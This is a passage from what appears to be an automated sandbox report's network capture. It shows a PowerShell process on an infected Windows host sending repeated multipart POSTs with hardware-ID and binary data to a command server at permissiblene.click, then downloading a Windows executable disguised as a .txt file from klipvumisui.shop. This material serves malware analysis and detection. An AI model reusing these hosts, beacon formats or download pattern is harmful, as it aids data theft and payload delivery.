--XAFS5EBEID00HPContent-Disposition: form-data; name="hwid"0BC2C7C2BD494941961F82810656F945--XAFS5EBEID00HPContent-Disposition: form-data; name="pid"2--XAFS5EBEID00HPContent-Disposition: form-data; name="lid"yJaNLj--re5--XAFS5EBEID
2024-12-31 08:26:24 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r52d3ik4f6tlbhcah956auanfv; expires=Sat, 26 Apr 2025 02:13:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ukDggQdTbKN8pWUj6PoHzybloN2vZM1MHBLvge6U1fVaiSn35%2Bk%2BervFESgFdrUerrDyrnvJGnwGtPjLdJ1Hf9IWLyNSTaOyAsayZPPxxcC73NS3SzV7y%2FwQte7qrfnDIUgVgg7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e269983d9e16-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1997&min_rtt=1987&rtt_var=765&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13748&delivery_rate=1411992&cwnd=189&unsent_bytes=0&cid=306bc659af46e7b4&ts=546&x=0"
2024-12-31 08:26:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:26:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49987	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:24 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QAJY2769OHR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15033 Host: permissiblene.click
2024-12-31 08:26:24 UTC	15033	OUT	Data Raw: 2d 2d 51 41 4a 59 32 37 36 39 4f 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 43 32 43 37 43 32 42 44 34 39 34 39 34 31 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 51 41 4a 59 32 37 36 39 4f 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 41 4a 59 32 37 36 39 4f 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 35 0d 0a 2d 2d 51 41 4a 59 32 37 36 39 4f 48 52 0d 0a 43 6f 6e 74 65 6e Data Ascii: --QAJY2769OHRContent-Disposition: form-data; name="hwid"0BC2C7C2BD494941961F82810656F945--QAJY2769OHRContent-Disposition: form-data; name="pid"2--QAJY2769OHRContent-Disposition: form-data; name="lid"yJaNLj--re5--QAJY2769OHRConten
2024-12-31 08:26:25 UTC	1126	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3kdl2n57b787s52jr23tav6o6u; expires=Sat, 26 Apr 2025 02:13:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cZpiMYD82NvrKJLLkreKbVqfRnnUXrKfOyAH6lVtwsDe4LSLrFcoxdvZ3x6E9Wm1cSzlX%2F049Vpf98ix3DUp6y1bST3nXJYJwN9d2fcVe5ZxPBaJpwuONIdFRoNPu56PMEb95Dq%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e2702bb0420d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2916&min_rtt=2433&rtt_var=1879&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2847&recv_bytes=15969&delivery_rate=463565&cwnd=244&unsent_bytes=0&cid=a9ef2d9dbe612a54&ts=558&x=0"
2024-12-31 08:26:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:26:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49988	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:25 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NWPK6ZAAQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20511 Host: permissiblene.click
2024-12-31 08:26:25 UTC	15331	OUT	Data Raw: 2d 2d 4e 57 50 4b 36 5a 41 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 43 32 43 37 43 32 42 44 34 39 34 39 34 31 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 4e 57 50 4b 36 5a 41 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 57 50 4b 36 5a 41 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 35 0d 0a 2d 2d 4e 57 50 4b 36 5a 41 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --NWPK6ZAAQContent-Disposition: form-data; name="hwid"0BC2C7C2BD494941961F82810656F945--NWPK6ZAAQContent-Disposition: form-data; name="pid"3--NWPK6ZAAQContent-Disposition: form-data; name="lid"yJaNLj--re5--NWPK6ZAAQContent-Dispos
2024-12-31 08:26:25 UTC	5180	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d 1b 88 82 b9 75 Data Ascii: un 4F([:7s~X`nO`i`u
2024-12-31 08:26:26 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ggtgit65jghs673iotkb9c925q; expires=Sat, 26 Apr 2025 02:13:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xNF9D4ItOiyOC6QNF%2Bp8hnGKJOKIRzWlt3b0uSyZ0pt5AqtOPaFBTvgT%2FfbbXjXXZpqheRRS85AnGQWvbH7lsyDYi8HjOzBeKCsD5EEeoqNPCS8FcDkEprtgHZQlxd3NwOn70seF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e276f89b423b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&min_rtt=1610&rtt_var=616&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21467&delivery_rate=1756919&cwnd=226&unsent_bytes=0&cid=c90cb294d61fc7eb&ts=629&x=0"
2024-12-31 08:26:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:26:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49989	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:28 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FPNR0FJKAFCPR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5450 Host: permissiblene.click
2024-12-31 08:26:28 UTC	5450	OUT	Data Raw: 2d 2d 46 50 4e 52 30 46 4a 4b 41 46 43 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 43 32 43 37 43 32 42 44 34 39 34 39 34 31 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 46 50 4e 52 30 46 4a 4b 41 46 43 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 50 4e 52 30 46 4a 4b 41 46 43 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 35 0d 0a 2d 2d 46 50 4e 52 30 46 4a 4b 41 46 43 50 52 Data Ascii: --FPNR0FJKAFCPRContent-Disposition: form-data; name="hwid"0BC2C7C2BD494941961F82810656F945--FPNR0FJKAFCPRContent-Disposition: form-data; name="pid"1--FPNR0FJKAFCPRContent-Disposition: form-data; name="lid"yJaNLj--re5--FPNR0FJKAFCPR
2024-12-31 08:26:28 UTC	1139	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m78ufgjbkrnfg7qmof0keohage; expires=Sat, 26 Apr 2025 02:13:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2t7TYYbant2UCBy3uh9%2FUz8%2FXOv%2BFm2QEaikQu2s8FBKBzXe%2BoYopM2gD9bibct8o%2BmxXSWAv7yQenczJiYlnTCy1kvoH6Nl2q8Up6t3pLXvaq3igf%2BTEiiGpwJ9vvL%2BU3%2Fep%2BhW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e286596643f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=2024&rtt_var=775&sent=5&recv=10&lost=0&retrans=0&sent_bytes=2846&recv_bytes=6365&delivery_rate=1396461&cwnd=217&unsent_bytes=0&cid=7aeae3db60057dd8&ts=436&x=0"
2024-12-31 08:26:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:26:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49990	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:29 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DOFL1NC99H51R36QC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1232 Host: permissiblene.click
2024-12-31 08:26:29 UTC	1232	OUT	Data Raw: 2d 2d 44 4f 46 4c 31 4e 43 39 39 48 35 31 52 33 36 51 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 43 32 43 37 43 32 42 44 34 39 34 39 34 31 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 44 4f 46 4c 31 4e 43 39 39 48 35 31 52 33 36 51 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 4f 46 4c 31 4e 43 39 39 48 35 31 52 33 36 51 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 35 0d 0a 2d 2d 44 Data Ascii: --DOFL1NC99H51R36QCContent-Disposition: form-data; name="hwid"0BC2C7C2BD494941961F82810656F945--DOFL1NC99H51R36QCContent-Disposition: form-data; name="pid"1--DOFL1NC99H51R36QCContent-Disposition: form-data; name="lid"yJaNLj--re5--D
2024-12-31 08:26:29 UTC	1122	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qvclp2bq8hu2nlbvck0o35ami2; expires=Sat, 26 Apr 2025 02:13:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ynFNyBRGvCJxUZmoGIY2XvJVMsUUyYb1PYEQuQxBG0cPegYqC0O542zpytcehzOUhqfIjxw2pLO6wkxY6jx3iyLaC6esLYu9MS%2Fw8fRIFRkMJuStNDT4DpIgAiengLPO1NOUeIOG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e28c1fcc430e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1558&min_rtt=1542&rtt_var=611&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2151&delivery_rate=1745367&cwnd=186&unsent_bytes=0&cid=db03fa3c93afe1a6&ts=438&x=0"
2024-12-31 08:26:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:26:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49991	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:30 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=643076B20D50MOJP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1092 Host: permissiblene.click
2024-12-31 08:26:30 UTC	1092	OUT	Data Raw: 2d 2d 36 34 33 30 37 36 42 32 30 44 35 30 4d 4f 4a 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 43 32 43 37 43 32 42 44 34 39 34 39 34 31 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 36 34 33 30 37 36 42 32 30 44 35 30 4d 4f 4a 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 34 33 30 37 36 42 32 30 44 35 30 4d 4f 4a 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 35 0d 0a 2d 2d 36 34 33 30 Data Ascii: --643076B20D50MOJPContent-Disposition: form-data; name="hwid"0BC2C7C2BD494941961F82810656F945--643076B20D50MOJPContent-Disposition: form-data; name="pid"1--643076B20D50MOJPContent-Disposition: form-data; name="lid"yJaNLj--re5--6430
2024-12-31 08:26:30 UTC	1126	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vr684pl4lsj3dcac566qid0sum; expires=Sat, 26 Apr 2025 02:13:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fdNEL3e0j%2B6YjNFnbzxz24M8dt9968FqDeqWhEPLgUrE18wof0g%2Be3w2ugZvgjcm5Ix3SHjFgUZoLQKIIOzJQRvxPeLH%2BpDEpJIXC7MGWTvloL757cx6AOkn8LgRlWQppU2akHwx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e2923861447a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1602&rtt_var=609&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=2010&delivery_rate=1785932&cwnd=232&unsent_bytes=0&cid=8123bed6bd1f6427&ts=518&x=0"
2024-12-31 08:26:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:26:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49992	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:31 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 112 Host: permissiblene.click
2024-12-31 08:26:31 UTC	112	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 61 4e 4c 6a 2d 2d 72 65 35 26 6a 3d 34 61 62 63 65 31 34 36 39 61 30 38 36 37 65 33 61 31 39 61 62 63 65 37 31 34 36 34 63 34 37 33 26 68 77 69 64 3d 30 42 43 32 43 37 43 32 42 44 34 39 34 39 34 31 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 Data Ascii: act=get_message&ver=4.0&lid=yJaNLj--re5&j=4abce1469a0867e3a19abce71464c473&hwid=0BC2C7C2BD494941961F82810656F945
2024-12-31 08:26:31 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=54nnkk4oj4hagp68g14arp2n27; expires=Sat, 26 Apr 2025 02:13:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qL8RndJjWEc6a2LoctMtFr0j%2F2Z3rWpsqufs304lLUCKNrQOYLU9m7wQJZJSmA7ORW3Fp%2BMn30zgfVVr3R0Zy9XN64aDKNsYKzrRN5q4fHJq%2FhXzHJ%2BNH9bqTnb536L1V4Knepjb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e298ab2342e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1661&min_rtt=1656&rtt_var=632&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1016&delivery_rate=1717647&cwnd=240&unsent_bytes=0&cid=038bccff21e7e533&ts=460&x=0"
2024-12-31 08:26:31 UTC	138	IN	Data Raw: 38 34 0d 0a 5a 4b 69 62 45 43 46 55 2b 62 30 2b 65 57 4b 43 2b 72 5a 51 73 73 42 4d 7a 54 44 6d 53 34 5a 45 30 51 5a 43 51 2b 52 69 55 38 77 2f 30 37 6c 6c 41 32 37 62 31 55 6f 4e 45 76 48 41 36 6e 2f 75 37 79 65 68 57 5a 59 39 38 79 6d 34 64 54 63 71 79 68 45 37 6f 78 54 30 74 48 6c 50 49 4b 62 65 55 67 6b 39 38 5a 4c 58 66 73 61 34 4f 4f 38 63 78 43 33 79 5a 75 73 30 62 6d 47 42 51 47 6e 39 47 66 55 3d 0d 0a Data Ascii: 84ZKibECFU+b0+eWKC+rZQssBMzTDmS4ZE0QZCQ+RiU8w/07llA27b1UoNEvHA6n/u7yehWZY98ym4dTcqyhE7oxT0tHlPIKbeUgk98ZLXfsa4OO8cxC3yZus0bmGBQGn9GfU=
2024-12-31 08:26:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49993	104.21.37.128	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:32 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2024-12-31 08:26:32 UTC	897	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:32 GMT Content-Type: text/plain Content-Length: 8767044 Connection: close Accept-Ranges: bytes ETag: "51f99eddd33cc04fb0f55f873b76d907" Last-Modified: Sat, 28 Dec 2024 20:49:42 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i6tkpSXmuHAoh%2BJ1IePhNaVFmZuviu53UV1FWWtQYYk7SWbiKu0wmJrX25Bj0l9Uw5TUCBYmf9KssEjTtMLpMAzF9P7dVkpjPqY4YwDRS4jomp2GflxsEg9mRcJ4X64Py6Tv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e29e9b844244-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1593&min_rtt=1593&rtt_var=598&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2866&recv_bytes=820&delivery_rate=1829573&cwnd=221&unsent_bytes=0&cid=8a628037d5c70a75&ts=300&x=0"
2024-12-31 08:26:32 UTC	472	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
